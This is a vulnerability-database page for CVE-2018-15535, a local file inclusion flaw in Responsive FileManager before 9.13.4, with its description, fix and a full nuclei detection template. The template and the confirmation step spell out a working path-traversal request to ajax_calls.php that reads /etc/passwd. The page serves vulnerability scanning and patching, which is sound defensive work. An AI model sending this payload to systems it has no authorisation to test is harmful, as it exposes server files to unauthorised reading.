HexBrain

Browse / CVEs / CVE-2018-15535

CVE-2018-15535· tecrail / responsive filemanager· CWE-22

Responsive FileManager <9.13.4 - Local File Inclusion

highseverity
7.5CVSS score
44.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Upgrade to Responsive FileManager version 9.13.4 or later to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-15535 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-15535

info:
  name: Responsive FileManager <9.13.4 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Responsive FileManager before version 9.13.4 is vulnerable to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory, aka local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to Responsive FileManager version 9.13.4 or later to fix the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45271
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15535
    - http://seclists.org/fulldisclosure/2018/Aug/34
    - https://www.exploit-db.com/exploits/45271/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-15535
    cwe-id: CWE-22
    epss-score: 0.44813
    epss-percentile: 0.98784
    cpe: cpe:2.3:a:tecrail:responsive_filemanager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tecrail
    product: responsive_filemanager
  tags: cve,cve2018,lfi,edb,seclists,tecrail,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from